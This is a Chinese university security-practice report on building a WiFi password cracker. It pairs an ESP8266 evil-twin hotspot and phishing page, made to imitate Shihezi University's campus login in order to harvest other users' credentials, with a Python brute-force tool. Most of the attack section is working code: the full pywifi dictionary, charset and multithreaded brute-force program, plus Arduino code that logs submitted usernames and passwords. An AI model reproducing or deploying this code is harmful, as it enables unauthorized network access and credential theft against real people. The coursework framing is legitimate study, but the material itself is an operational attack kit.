基于esp8266和python的fish
?
?
?
?
石河子大學(xué)
信息科學(xué)與技術(shù)學(xué)院
?
<網(wǎng)絡(luò)空間安全綜合實(shí)踐>項(xiàng)目成果報(bào)告
?
2022—2023學(xué)年第一學(xué)期
? ? ? ? ? ? ? ??
?
完成日期:二○二三年5月28日
?
?
?
目 ???錄
?
?
1. 課題項(xiàng)目名稱:暴力破解WIFI密碼工具設(shè)計(jì)與實(shí)現(xiàn)
2. 理論背景/基礎(chǔ)知識(shí)/相關(guān)技術(shù)概述
3. 實(shí)踐任務(wù)環(huán)境/資源說(shuō)明
4. 實(shí)踐任務(wù)內(nèi)容
5. 過(guò)程/詳細(xì)步驟說(shuō)明
6. 課題項(xiàng)目/實(shí)踐任務(wù)結(jié)論
7. 總結(jié)與體會(huì)
附錄A 參考文獻(xiàn)
?
?
1.?課題項(xiàng)目名稱:暴力破解WIFI密碼工具設(shè)計(jì)與實(shí)現(xiàn)
題目任務(wù)簡(jiǎn)介:設(shè)計(jì)并實(shí)現(xiàn)一種能夠掃描附近WIFI站點(diǎn)并進(jìn)行暴力破解的工具.
2.?理論背景/基礎(chǔ)知識(shí)/相關(guān)技術(shù)概述
IEEE 802.11協(xié)議族成員如圖2-1所示。
?
圖2-1 ?IEEE 802.11協(xié)議族成員
802.11網(wǎng)絡(luò)的基本元素如圖2-2 ~ 圖2- 5所示
?
圖2-2 BSS(Basic Service Set)
?
?
圖2-3 DS(Distribution System,分布式系統(tǒng))
?
?
圖2-4 SSID(Service Set ID,服務(wù)集識(shí)別碼)
?
?
圖2-5 ESS(Extended Service Set,采用相同的SSID的多個(gè)BSS形成的更大規(guī)模的虛擬BSS)
?
?
?IEEE 802.11MAC 報(bào)文 數(shù)據(jù)幀如圖2-6所示。
?
圖2-6 IEEE 802.11MAC 報(bào)文 數(shù)據(jù)幀
?
IEEE 802.11MAC 報(bào)文 控制幀如圖2-7所示:
?
圖2-7 802.11MAC 報(bào)文 控制幀
?
IEEE 802.11MAC 報(bào)文 管理幀如圖2-8所示:
?
圖 2-8 802.11MAC 報(bào)文 管理幀
?
STA (工作站)啟動(dòng)初始化、開始正式使用、AP 傳送數(shù)據(jù)幀之前,要經(jīng)過(guò)三個(gè)階段才能接入:
掃描(Scaning)
認(rèn)證(Authentication)
關(guān)聯(lián)(Association)
其中 認(rèn)證(Authentication) 如圖 2-9 所示:
?
圖2-9 認(rèn)證(Authentication)
?
其中加密是實(shí)施認(rèn)證的 WLAN 安全組件。 IEEE 802.11 提供三種加密算法: 有線等效加密(WEP)、暫時(shí)密鑰集成協(xié)議(TKIP)和高級(jí)加密標(biāo)準(zhǔn) Counter-Mode/CBC-MAC 協(xié)議(AES-CCMP)。如表2-1所示:
加密算法
WEP
TKIP
AES-CCMP
簡(jiǎn)介
原始IEEE 802.11標(biāo)準(zhǔn)中指定的加密算法,使用純文本數(shù)據(jù)創(chuàng)建加密數(shù)據(jù)
基于RC4封裝算法,通過(guò)動(dòng)態(tài)密鑰管理增強(qiáng)了加密功能
適用于大規(guī)模網(wǎng)絡(luò)架構(gòu),易于部署和管理,提供了認(rèn)證、機(jī)密性、完整性和重發(fā)保護(hù)四種安全服務(wù)
安全性
易受攻擊,需定期更換密鑰,無(wú)完整認(rèn)證功能,難防內(nèi)部攻擊和動(dòng)態(tài)網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu),需配合其他協(xié)議使用。
由于使用了過(guò)時(shí)的加密算法,可能會(huì)受到攻擊者的攻擊;沒(méi)有完全解決重放攻擊的問(wèn)題,需要其他機(jī)制來(lái)防止此類攻擊
AES-CCMP 是面向大眾的最高級(jí)無(wú)線安全協(xié)議;IEEE 802.11i 要求使用 CCMP 來(lái)提供全部四種安全服務(wù):認(rèn)證、機(jī)密性、完整性和重發(fā)保護(hù);CCMP 使用 128 位 AES加密算法實(shí)現(xiàn)機(jī)密性,使用其他CCMP協(xié)議組件實(shí)現(xiàn)其余三種服務(wù)
表2-1 IEEE 802.11 提供的三種加密算法
?
共享密鑰型認(rèn)證要求參與認(rèn)證過(guò)程的兩端具有相同的“共享”密鑰或密碼。共享密鑰型認(rèn)證手動(dòng)設(shè)置客戶端和接入點(diǎn)/路由器。共享密鑰認(rèn)證的三種類型現(xiàn)在都可應(yīng)用于家庭或小型辦公室無(wú)線局域網(wǎng)環(huán)境。如表2-2 所示:
加密算法
介紹
WEP(有線等效加密)
由 于 WEP 具有先天性缺陷,因此建議不要將其用于安全無(wú)線局域網(wǎng)。它的一個(gè)主要安全風(fēng)險(xiǎn)是黑客可以使用唾手可得的應(yīng)用軟件捕獲經(jīng)過(guò)加密的認(rèn)證響應(yīng)幀,并可使用這些信 息破解 WEP 加密。這個(gè)過(guò)程的步驟包括:客戶機(jī)發(fā)送認(rèn)證請(qǐng)求,接入點(diǎn)/路由器以明文形式發(fā)出盤問(wèn)文本,客戶機(jī)對(duì)盤問(wèn)文本進(jìn)行加密,然后接入點(diǎn)/路由器做出認(rèn)證響應(yīng)。
WPA(Wi-Fi 保護(hù)接入)
WPA 由 Wi-Fi 聯(lián)盟*(WFA)開發(fā),早于 IEEE 802.11i 的正式批準(zhǔn)時(shí)間,但它符合無(wú)線安全標(biāo)準(zhǔn)。它在安全性方面進(jìn)行了加強(qiáng),極大地提高了無(wú)線網(wǎng)絡(luò)的數(shù)據(jù)保護(hù)和訪問(wèn)控制(認(rèn)證)能力。WPA 執(zhí)行 802.1x 認(rèn)證和密鑰交換,只適用于動(dòng)態(tài)加密密鑰。
WPA2(Wi-Fi 保護(hù)接入)
在 WPA 基礎(chǔ)上增強(qiáng)了安全性,用戶必須確??蛻舳撕?AP/路由器配置為使用相同的 WPA 版本和預(yù)共享密鑰(PSK)
表2-2 共享密鑰認(rèn)證的三種類型
?
密碼管理解決方案供貨商LastPass本周公布一調(diào)查報(bào)告,指出就算絕大多數(shù)的用戶都知道復(fù)雜密碼的重要性,但依舊有66%的使用者習(xí)慣采用同樣的密碼,而且有42%認(rèn)為,好記的密碼比安全性還重要。
3.?實(shí)踐任務(wù)環(huán)境/資源說(shuō)明
本課題需要1臺(tái)帶有活動(dòng)網(wǎng)絡(luò)連接(插有網(wǎng)卡)PC機(jī),PC機(jī)本機(jī)作為wifi的接入端(STA)。1臺(tái)可以開放熱點(diǎn)的手機(jī)或者平板,作為wifi的AP端。1個(gè)esp8266串口wifi模塊開發(fā)板。
其中主機(jī)/客戶端環(huán)境的配置如下表3-1所示:
操作系統(tǒng)
Windows 10 專業(yè)版
Python 開發(fā)工具
Python IDEL shell (版本:3.9.2)
Esp8266 開發(fā)工具
Arduino?(版本:1.8.19)
Web瀏覽器
Microsoft Edge?(版本 114.0.1823.67 (正式版本) (64 位))
表3-1?主機(jī)(/STA端)的環(huán)境配置(主機(jī)配置)
?
AP端的環(huán)境配置如下表3-2所示:
型號(hào)
DVC-TN20
版本號(hào)
2.0.0.223(C01E205R2P6)
HARMONY0S
2.0.0
熱點(diǎn)密碼設(shè)置
66666688/20201008370
表3-2??AP端的環(huán)境配置(AP配置)
?
4.?實(shí)踐任務(wù)內(nèi)容
1、動(dòng)手實(shí)際安裝python開發(fā)工具;
2、動(dòng)手安裝python第三方庫(kù)(如:threading,tkinter,pywifi);
3、驗(yàn)證是否能在本機(jī)使用python的第三方庫(kù);
4、開發(fā)出使用密碼本無(wú)UI的python程序;
5、為之前使用密碼本無(wú)UI的python程序使用第三方庫(kù)threading、tkinter添加UI界面;
6、為項(xiàng)目添加使用字符集暴力破解的新功能;
7、在項(xiàng)目字符集暴力破解的功能基礎(chǔ)上添加多線程字符集暴力破解;
8、對(duì)esp8266進(jìn)行開發(fā),設(shè)置釣魚熱點(diǎn),設(shè)置簡(jiǎn)易的釣魚網(wǎng)站,使受害者在釣魚網(wǎng)站的輸入能被esp8266開發(fā)板獲取;
9、對(duì)釣魚網(wǎng)站進(jìn)行修飾,使得釣魚網(wǎng)站幾乎與石河子大學(xué)校園網(wǎng)登錄界面一樣;
5.?過(guò)程/詳細(xì)步驟說(shuō)明
5.1使用主要步驟:
1、部署esp8266釣魚網(wǎng)站,獲取他人登錄校園網(wǎng)的賬號(hào)和密碼,加入到密碼本中;
2、設(shè)置python暴力破解wifi工具參數(shù);
3、等待暴力破解結(jié)束;
4、利用破解出來(lái)的wifi密碼連接此wifi;
?
5.2使用具體過(guò)程/步驟說(shuō)明:
Step1:將固件燒錄至esp8266中,如圖5-1所示。
?
圖5-1??燒錄esp8266釣魚程序
部署esp8266,如圖5-2 所示。
圖5-2 連接電源(電腦/充電包 都可)部署esp8266
?
模仿“受害者”連接該釣魚wifi并且登錄釣魚網(wǎng)站
?
圖5-3 “受害者”登錄
?
?
圖5-4 當(dāng)esp8266等亮起表示釣魚成功
?
?
圖5-5 使用此程序讀取esp8266中的info.txt文件
?
?
圖5-6 串口輸出賬號(hào)和密碼
?
?
?
圖5-7 將串口輸出的賬號(hào)和密碼輸入pwd.txt(密碼本)中
?
Step2:配置python WiFi暴力破解工具的參數(shù) 如圖5-8所示:
?
圖5-8 配置pythonWiFi暴力破解工具的參數(shù)
?
Step3:等待破解成功
?
圖 5-9 暴力破解成功
Step4:連接wifi
?
圖5-10 成功連接名字為czx的wifi
?
5.3 其他功能演示
同時(shí)也可以使用字符集模式進(jìn)行破解:
?
圖5-11 將密碼設(shè)置成66666688
?
?
?
圖5-12 配置wifi破解工具參數(shù)
?
?
圖5-13 成功使用字符集破解wifi密碼
?
也可以使用多線程破解
?
圖5-14 設(shè)置多線程破解參數(shù)
?
?
圖5-15 使用多線程字符集破解成功破解
5.4代碼部分:
Python開發(fā)wifi破解工具代碼:
import pywifi
import time
from pywifi import const
from tkinter import *
from tkinter import ttk
from threading import Lock
from threading import Thread
import threading
import datetime
import tkinter.filedialog
import tkinter.messagebox
from tkinter import messagebox as box
?
desk = {
?
????#控制線程結(jié)束變量
????'sign' : False
?
}
# 先實(shí)例化,創(chuàng)建一個(gè)對(duì)象,deskLock是數(shù)據(jù)對(duì)象的名字
deskLock = Lock()
?
?
class MY_GUI():
????def __init__(self, init_window_name):
????????self.init_window_name = init_window_name
????????# 密碼文件路徑
????????self.get_value = StringVar() ?# 設(shè)置可變內(nèi)容
????????# 獲取破解wifi賬號(hào)
????????self.get_wifi_value = StringVar()
????????# 獲取wifi密碼
????????self.get_wifimm_value = StringVar()
?
????????#是否開啟字符集暴力破解
????????self.open_zf = StringVar()
????????#是否開啟多線程字符集暴力破解
????????self.open_more_zf = StringVar()
????????# 獲取字符集最短長(zhǎng)度
????????self.get_wifimm_minlen = StringVar()
????????# 獲取字符集最長(zhǎng)長(zhǎng)度
????????self.get_wifimm_maxlen = StringVar()
????????# 獲取字符集
????????self.get_wifimm_zf = StringVar()
????????
?
????????# 抓取網(wǎng)卡接口
????????self.wifi = pywifi.PyWiFi()
????????# 抓取第一個(gè)無(wú)線網(wǎng)卡
????????self.iface = self.wifi.interfaces()[0]
????????# 測(cè)試鏈接斷開所有鏈接
????????self.iface.disconnect()
????????#time.sleep(1) ?# 休眠1秒
????????# 測(cè)試網(wǎng)卡是否屬于斷開狀態(tài)
????????assert self.iface.status() in \
???????????????[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
?
?
?
?
????def __str__(self):
????????# 自動(dòng)會(huì)調(diào)用的函數(shù),返回自身的網(wǎng)卡
????????return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
?
?
?
?
????# 設(shè)置窗口
????def set_init_window(self):
????????self.init_window_name.title("WIFI破解工具")
????????self.init_window_name.geometry('+500+200')
????????
????????labelframe = LabelFrame(width=400, height=400, text="配置") ?# 框架,以下對(duì)象都是對(duì)于labelframe中添加的
????????labelframe.grid(column=0, row=0, padx=10, pady=10)
????????
????????self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list)
????????self.search.grid(column=0, row=0)
????????
????????self.pojie = Button(labelframe, text="開始破解", command=self.readPassWord)
????????self.pojie.grid(column=1, row=0)
????????
????????self.label = Label(labelframe, text="目錄路徑:")
????????self.label.grid(column=0, row=1)
????????
????????self.path = Entry(labelframe, width=12, textvariable=self.get_value)
????????self.path.grid(column=1, row=1)
????????
????????self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file)
????????self.file.grid(column=2, row=1)
?
????????#1為選中,0為不選,默認(rèn)開啟字符集模式
????????self.open_zf.set(1)
????????self.chk_zf = Checkbutton(labelframe, text="開啟字符集模式",var=self.open_zf)
????????self.chk_zf.grid(column=0, row=2)
????????
????????#1為選中,0為不選,默認(rèn)關(guān)閉多線程模式
????????self.open_more_zf.set(0)
????????self.chk_more_zf = Checkbutton(labelframe,bd=1,text="開啟多線程字符集模式(速度快但是不穩(wěn)定)",var=self.open_more_zf)
????????self.chk_more_zf.grid(column=1, row=2,columnspan=2)
????????
????????self.wifi_mm_minlen_text = Label(labelframe, text="最短字符長(zhǎng)度:")
????????self.wifi_mm_minlen_text.grid(column=0, row=3)
????????
????????self.wifi_mm_minlen = Spinbox(labelframe, from_=1, to=100,width=5, textvariable=self.get_wifimm_minlen)
????????self.wifi_mm_minlen.grid(column=1, row=3)
????????
????????self.wifi_mm_maxlen_text = Label(labelframe, text="最長(zhǎng)字符長(zhǎng)度:")
????????self.wifi_mm_maxlen_text.grid(column=2, row=3)
????????
????????self.wifi_mm_maxlen = Spinbox(labelframe, from_=1, to=100,width=5, textvariable=self.get_wifimm_maxlen)
????????self.wifi_mm_maxlen.grid(column=3, row=3)
????????
????????self.wifi_mm_zf_text = Label(labelframe, text="字符集:")
????????self.wifi_mm_zf_text.grid(column=0, row=4)
????????
????????self.wifi_mm_zf = Entry(labelframe, textvariable=self.get_wifimm_zf)
????????self.wifi_mm_zf.grid(column=1, row=4,sticky=E+W)
?
????????self.wifi_text = Label(labelframe, text="WiFiSSID:")
????????self.wifi_text.grid(column=0, row=5)
????????
????????self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value)
????????self.wifi_input.grid(column=1, row=5,sticky=E+W)
?
????????self.wifi_mm_text = Label(labelframe, text="WiFi密碼:")
????????self.wifi_mm_text.grid(column=2, row=5)
????????
????????self.wifi_mm_input = Entry(labelframe,width=10, textvariable=self.get_wifimm_value)
????????self.wifi_mm_input.grid(column=3, row=5,sticky=W)
????????
????????self.wifi_labelframe = LabelFrame(text="wifi列表")
????????self.wifi_labelframe.grid(column=0, row=6, columnspan=4, sticky=N+S+E+W)
????????
????????# 定義樹形結(jié)構(gòu)與滾動(dòng)條
????????self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
????????
????????self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
????????
????????self.wifi_tree.configure(yscrollcommand=self.vbar.set)
????????
????????# 表格的標(biāo)題
????????self.wifi_tree.column("a", width=50, anchor="center")
????????self.wifi_tree.column("b", width=100, anchor="center")
????????self.wifi_tree.column("c", width=100, anchor="center")
????????self.wifi_tree.column("d", width=100, anchor="center")
????????self.wifi_tree.heading("a", text="WiFiID")
????????self.wifi_tree.heading("b", text="SSID")
????????self.wifi_tree.heading("c", text="BSSID")
????????self.wifi_tree.heading("d", text="信號(hào)強(qiáng)度")
????????self.wifi_tree.grid(row=4, column=0, sticky=N+S+E+W)
????????self.wifi_tree.bind("<Double-1>", self.onDBClick)
????????self.vbar.grid(row=4, column=1, sticky=N+S)
?
?
?
?
????# 搜索wifi
????def scans_wifi_list(self): ?# 掃描周圍wifi列表
????????#threading.Thread(target=self.dg_zf_1,args=("x"*(10),0)).start()
????????#threading.Thread.self.dg_zf_1(self,"x"*(10),0).start()
## ???????a=self.get_wifimm_zf.get()
## ???????i=self.get_wifimm_minlen.get()
## ???????k=self.get_wifimm_maxlen.get()
## ???????print(self.open_zf.get())
## ???????print(self.open_zf.get()== '1')
##
## ???????print(self.get_wifimm_minlen.get())
## ???????print(self.get_wifimm_maxlen.get())
## ???????print(a[0])
## ???????
## ???????for i1 in range(int(i),int(k)):#長(zhǎng)度遍歷
## ???????????print("當(dāng)前長(zhǎng)度為:%s" % i1)
## ???????????self.dg_zf(a[0]*i1,0)
## ???????s=self.dg_zf(4,a[0]*4,0)
## ???????print(s)
## ???????print(self.dg_zf(4,a[0]*4,0)
?
????????
????????# 開始掃描
????????print("開始掃描附近wifi...")
????????self.iface.scan()
????????time.sleep(1)
????????# 在若干秒后獲取掃描結(jié)果
????????scanres = self.iface.scan_results()
????????# 統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量
????????nums = len(scanres)
????????print("數(shù)量: %s" % (nums))
????????# 實(shí)際數(shù)據(jù)
????????self.show_scans_wifi_list(scanres)
????????return scanres
?
????#遞歸遍歷字符集
????def dg_zf(self,password,a):
?
????????zf=self.get_wifimm_zf.get()
????????#password = zf[0]*maxlen
????????if a < len(password):
????????????for i in range(0,len(zf)):
????????????????password = list(password)
????????????????password[a]=zf[i]
????????????????password=''.join(password)
????????????????#print(password)#不應(yīng)該在此處輸出會(huì)多幾行不必要的輸出
????????????????if self.dg_zf(password,a+1):
????????????????????return True
????????????????
????????else:
????????????#print(password)#應(yīng)當(dāng)在此輸出
????????????#字符集破解
????????????self.bool1 = self.connect(password, self.get_wifissid)
????????????if self.bool1:
????????????????self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, password)
????????????????self.get_wifimm_value.set(password)
????????????????tkinter.messagebox.showinfo('提示', '破解成功?。?!')
????????????????print(self.res)
????????????????
????????????????return True
????????????else:
????????????????self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, password)
????????????????print(self.res)
????????????????return False
????????????#time.sleep(3)
?
?
????#多線程遞歸遍歷字符集1
????def dg_zf_1(self,password,a):
?
????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
????????#deskLock.acquire()
????????#檢查是否結(jié)束
????????sign = desk['sign']
????????if sign:
????????????return True
????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
????????#deskLock.release()
?
????????zf=self.get_wifimm_zf.get()
????????#password = zf[0]*maxlen
????????if a < len(password)-1:
????????????for i in range(0,len(zf)):
????????????????password = list(password)
????????????????password[a]=zf[i]
????????????????password=''.join(password)
????
????????????????#print(password)#不應(yīng)該在此處輸出會(huì)多幾行不必要的輸出
????????????????if self.dg_zf_1(password,a+1):
????????????????????return True
????????????????
????????else:
????????????#print(password)#應(yīng)當(dāng)在此輸出
????????????#字符集破解
????????????
?????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
????????????deskLock.acquire()
????????????self.bool1 = self.connect(password, self.get_wifissid)
?????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
????????????deskLock.release()
????????????
????????????if self.bool1:
????????????????self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, password)
????????????????self.get_wifimm_value.set(password)
????????????????tkinter.messagebox.showinfo('提示', '破解成功?。?!')
????????????????print(self.res)
????????????????
????????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
????????????????deskLock.acquire()
????????????????#把sign設(shè)置為true
????????????????desk['sign'] = True
????????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
????????????????deskLock.release()
?
????????????????return True
????????????else:
????????????????self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, password)
????????????????print(self.res)
????????????????return False
????????????#time.sleep(3)
?
## ???#多線程遞歸遍歷字符集2倒敘
## ???def dg_zf_2(self,password,a):
## ???????
## ???????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
## ???????deskLock.acquire()
## ???????#檢查是否結(jié)束
## ???????sign = desk['sign']
## ???????if sign:
## ???????????return True
## ???????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
## ???????deskLock.release()
## ???????
## ???????zf=self.get_wifimm_zf.get()
## ???????#password = zf[0]*maxlen
## ???????if a >= 0 :
## ???????????for i in range(0,len(zf)):
## ???????????????password = list(password)
## ???????????????password[a]=zf[i]
## ???????????????password=''.join(password)
## ???
## ???????????????#print(password)#不應(yīng)該在此處輸出會(huì)多幾行不必要的輸出
## ???????????????if self.dg_zf_2(password,a -1):
## ???????????????????return True
## ???????????????
## ???????else:
## ???????????#print(password)#應(yīng)當(dāng)在此輸出
## ???????????#字符集破解
## ???????????self.bool1 = self.connect(password, self.get_wifissid)
## ???????????if self.bool1:
## ???????????????self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, password)
## ???????????????self.get_wifimm_value.set(password)
## ???????????????tkinter.messagebox.showinfo('提示', '破解成功!?。?#39;)
## ???????????????print(self.res)
## ???????????????
## ????????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
## ???????????????deskLock.acquire()
## ???????????????#把sign設(shè)置為true
## ???????????????desk['sign'] = True
## ???????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
## ???????????????deskLock.release()
## ???????????????
## ???????????????return True
## ???????????else:
## ???????????????self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, password)
## ???????????????print(self.res)
## ???????????????return False
## ???????????#time.sleep(3)
?
?
????????????????
????# 顯示wifi列表
????def show_scans_wifi_list(self, scans_res):
????????for index, wifi_info in enumerate(scans_res):
????????????self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
?
?
?
?
????# 添加密碼文件目錄
????def add_mm_file(self):
????????self.filename = tkinter.filedialog.askopenfilename()
????????self.get_value.set(self.filename)
?
?
?
?
????# Treeview綁定事件
????def onDBClick(self, event):
????????self.sels = event.widget.selection()
????????self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
?
?
?
?
????# 讀取密碼字典,進(jìn)行匹配
????def readPassWord(self):
????????self.getFilePath = self.get_value.get()
????????self.get_wifissid = self.get_wifi_value.get()
????????pwdfilehander = open(self.getFilePath, "r", errors="ignore")
?
????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
????????deskLock.acquire()
????????#將sign設(shè)置為false防止再次破解時(shí)無(wú)法啟動(dòng)字符集破解
????????desk['sign'] = False
????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
????????deskLock.release()
?
????????
????????#密碼本破解
????????while True:
????????????try:
????????????????self.pwdStr = pwdfilehander.readline()
????????????????self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
????????????????if self.bool1:
????????????????????self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)
????????????????????self.get_wifimm_value.set(self.pwdStr)
????????????????????tkinter.messagebox.showinfo('提示', '破解成功?。?!')
????????????????????print(self.res)
????????????????????return True
????????????????????#break
????????????????else:
????????????????????self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr)
????????????????????print(self.res)
?
????
????????????????#如果為或空!結(jié)束
????????????????if(self.pwdStr == "!" or (not self.pwdStr) ):
????????????????????self.res = "[*] 破解破解未成功!密碼不在密碼本中"
????????????????????#tkinter.messagebox.showinfo('提示', '破解破解未成功!密碼不在密碼本中!')
????????????????????print(self.res)
????????????????????break
????????????????#time.sleep(3)
?
????????????except:
????????????????continue
????????????
????????#字符集破解
????????if ?self.open_zf.get()=='1':
????????????if self.open_more_zf.get()=='1':
????????????????self.zf_more_sreach_password()
????????????else:
????????????????self.zf_sreach_password()
????????????????
?
?
?
????#字符集破解反饋
????def zf_sreach_password(self):
????????a=self.get_wifimm_zf.get()
????????i=self.get_wifimm_minlen.get()
????????k=self.get_wifimm_maxlen.get()
????????for i1 in range(int(i),int(k)+1):#長(zhǎng)度遍歷
????????????print("當(dāng)前長(zhǎng)度為:%s" % i1)
????????????#單線程
????????????if self.dg_zf("x"*i1,0):
????????????????return True
????????self.res = "[*] 破解破解未成功!密碼不在字符集中"
????????#tkinter.messagebox.showinfo('提示', '破解破解未成功!密碼不在字符集中')
????????print(self.res)
????????return False
????
????#多線程字符集破解反饋
????def zf_more_sreach_password(self):
????????a=self.get_wifimm_zf.get()
????????i=self.get_wifimm_minlen.get()
????????k=self.get_wifimm_maxlen.get()
????????for i1 in range(int(i),int(k)+1):#長(zhǎng)度遍歷
????????????#print("當(dāng)前長(zhǎng)度為:%s" % i1)
?
????????????#thread = []
????????????for i in range(0,len(a)):
????????????????#創(chuàng)建 Thread 實(shí)例
????????????????#thread.append(threading.Thread(target=self.dg_zf_1,args=("x"*(i1-1)+a[i],0)))
????????????????thread1 =threading.Thread(target=self.dg_zf_1,args=("x"*(i1-1)+a[i],0))
?????????????????# 啟動(dòng)線程運(yùn)行
????????????????thread1.start()
????????????????#threading.Thread(target=self.dg_zf_1,args=("x"*(i1-1)+a[i],0)).start()
?????????????????#threading.Thread.dg_zf_1("x"*(i1-1)+a[i],0).start()
????????????????
????????????#print("2")
????????????# 等待所有線程執(zhí)行完畢
????????????#thread1.join()
????????????#thread2.join()
?
????????????#print("3")
????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
## ???????????deskLock.acquire()
## ???????????#檢查是否結(jié)束
## ???????????sign = desk['sign']
## ???????????if sign:
## ???????????????return True
## ???????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖
## ???????????deskLock.release()
?
????????#thread1.join()
????????#self.res = "[*] 破解破解未成功!密碼不在字符集中"
????????tkinter.messagebox.showinfo('提示', '正在進(jìn)行多線程破解!無(wú)輸出表示結(jié)束!')
????????print(self.res)
????????return False
?
?
?
????# 對(duì)wifi和密碼進(jìn)行匹配
????def connect(self, pwd_Str, wifi_ssid):
????????# 創(chuàng)建wifi鏈接文件
????????self.profile = pywifi.Profile()
????????self.profile.ssid = wifi_ssid ?# wifi名稱
????????self.profile.auth = const.AUTH_ALG_OPEN ?# 網(wǎng)卡的開放
????????
## ???????self.profile.akm.append(const.AKM_TYPE_NONE) ?# 沒(méi)有安全設(shè)置 wifi加密算法
## ???????self.profile.akm.append(const.AKM_TYUPE_WPAPSK) ?# WPA wifi加密算法
## ???????AKM_TYPE_WPA 和AKM_TYPE_WPA2 被企業(yè)AP所使用。
????????self.profile.akm.append(const.AKM_TYPE_WPA2PSK) ?# WPA2 wifi加密算法
????????
????????self.profile.cipher = const.CIPHER_TYPE_CCMP ?# 加密單元
????????self.profile.key = pwd_Str ?# 密碼
????????self.iface.remove_all_network_profiles() ?# 刪除所有的wifi文件
????????self.tmp_profile = self.iface.add_network_profile(self.profile) ?# 設(shè)定新的鏈接文件
????????self.iface.connect(self.tmp_profile) ?# 鏈接
????????time.sleep(3)
????????if self.iface.status() == const.IFACE_CONNECTED: ?# 判斷是否連接上
????????????isOK = True
????????else:
????????????isOK = False
????????self.iface.disconnect() ?# 斷開
????????time.sleep(1)
????????# 檢查斷開狀態(tài)
????????assert self.iface.status() in \
???????????????[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
????????return isOK
## ???????if self.iface.status() in ?[const.IFACE_CONNECTED,const.IFACE_INACTIVE]: ?# 判斷是否連接上
## ???????????isOK = True
## ???????????return isOK
## ???????else:
## ???????????isOK = False
## ???????????return isOK
?
?
?
def gui_start():
????init_window = Tk()
????ui = MY_GUI(init_window)
????print(ui)
????ui.set_init_window()
????init_window.mainloop()
?
?
?
?
if __name__ == "__main__":
????gui_start()
?
?
Esp8266開發(fā)板制作釣魚熱點(diǎn)代碼
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <FS.h>
#include <ESP8266WebServer.h>
?
const char* AP_NAME = "Shzu";//wifi名字
?
const byte DNS_PORT = 53;//DNS端口號(hào)
IPAddress apIP(10, 255, 0, 38);//esp8266-AP-IP地址6+6+
DNSServer dnsServer;//創(chuàng)建dnsServer實(shí)例
ESP8266WebServer server(80);//創(chuàng)建WebServer
?
?
void handleRoot() {//訪問(wèn)主頁(yè)回調(diào)函數(shù)
?
????// 獲取用戶請(qǐng)求網(wǎng)址信息
????
??String webAddress = server.uri();
// ?Serial.print("webAddress:");Serial.println(webAddress);
??
??if(webAddress=="/Get_Info"){
??Serial.print("用戶名:"); Serial.println(server.arg("userName"));
??Serial.print("密碼:"); Serial.println(server.arg("password"));
????????//確認(rèn)閃存中是否有file_name文件
??????String file_name="/info.txt";
??????if (SPIFFS.exists(file_name)){
????????Serial.print(file_name);
????????Serial.println(" FOUND.");
????????File dataFile = SPIFFS.open(file_name, "a");// 建立File對(duì)象用于向SPIFFS中的file對(duì)象(即/notes.txt)寫入信息
????????//dataFile.println("用戶名:"); // 向dataFile添加字符串信息
????????dataFile.println(server.arg("userName"));
????????//dataFile.println(" ??密碼:");
????????dataFile.println(server.arg("password"));
????????dataFile.println("\n\r");
????????dataFile.close(); ??????????????????????????// 完成文件操作后關(guān)閉文件 ??
????????Serial.println("Finished Appending data to SPIFFS");
????????
????????digitalWrite(LED_BUILTIN, LOW); ?// 開燈
????????
????} else {
????????Serial.print(file_name);
????????Serial.print(" NOT FOUND.");
????????}
??}
??if(webAddress.endsWith(".css")or webAddress.endsWith(".js") or webAddress.endsWith(".png")or webAddress.endsWith(".ico")or webAddress.endsWith(".jpg") ){
????if (SPIFFS.exists(webAddress)){
????Serial.print(webAddress);Serial.println("文件存在!");
????String contentType = getContentType(webAddress);
????File file = SPIFFS.open(webAddress, "r"); ?????????// 則嘗試打開該文件
????server.streamFile(file,contentType);// 并且將該文件返回給瀏覽器
????file.close(); ?// 并且關(guān)閉文件
????}else{
??????server.send(404, "text/plain", "404 Not Found");
????}
??}
?
?
